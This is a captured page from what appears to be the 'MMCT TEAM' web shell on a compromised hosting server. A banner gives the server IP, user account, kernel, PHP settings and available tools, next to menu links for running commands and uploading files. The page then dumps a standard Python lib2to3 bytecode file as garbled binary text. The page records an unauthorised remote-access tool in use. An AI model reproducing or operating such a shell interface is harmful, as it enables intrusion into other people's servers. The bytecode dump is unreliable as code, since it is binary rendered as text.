MMCT TEAM
Server IP : 111.118.215.189  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : a1673wkz ( 2475)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /lib64/python3.6/lib2to3/fixes/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //lib64/python3.6/lib2to3/fixes/__pycache__/fix_exitfunc.cpython-36.pyc
3


 \�	�@sJdZddlmZmZddlmZmZmZmZm	Z	m
Z
Gdd�dej�ZdS)z7
Convert use of sys.exitfunc to use the atexit module.
�)�pytree�
fixer_base)�Name�Attr�Call�Comma�Newline�symscs<eZdZdZdZdZ�fdd�Z�fdd�Zdd�Z�Z	S)	�FixExitfuncTa�
              (
                  sys_import=import_name<'import'
                      ('sys'
                      |
                      dotted_as_names< (any ',')* 'sys' (',' any)* >
                      )
                  >
              |
                  expr_stmt<
                      power< 'sys' trailer< '.' 'exitfunc' > >
                  '=' func=any >
              )
              cstt|�j|�dS)N)�superr
�__init__)�self�args)�	__class__��$/usr/lib64/python3.6/fix_exitfunc.pyrszFixExitfunc.__init__cstt|�j||�d|_dS)N)rr
�
start_tree�
sys_import)r
Ztree�filename)rrrr!szFixExitfunc.start_treecCs&d|kr |jdkr|d|_dS|dj�}d|_tjtjttd�td���}t	||g|j�}|j
|�|jdkr�|j|d�dS|jjd}|j
tjkr�|jt��|jtdd��nj|jj}|jj|j�}|j}	tjtjtd	�tdd�g�}
tjtj|
g�}|j|dt��|j|d
|�dS)Nr�func��atexit�registerzKCan't find sys import; Please add an atexit import at the top of your file.�� �import�)rZclone�prefixrZNoder	Zpowerrrr�replaceZwarningZchildren�typeZdotted_as_namesZappend_childr�parent�indexZimport_nameZsimple_stmtZinsert_childr)r
Znode�resultsrrZcall�namesZcontaining_stmtZpositionZstmt_containerZ
new_import�newrrr�	transform%s2



zFixExitfunc.transform)
�__name__�
__module__�__qualname__Zkeep_line_orderZ
BM_compatibleZPATTERNrrr%�
__classcell__rr)rrr
sr
N)
�__doc__Zlib2to3rrZlib2to3.fixer_utilrrrrrr	ZBaseFixr
rrrr�<module>s 

MMCT - 2023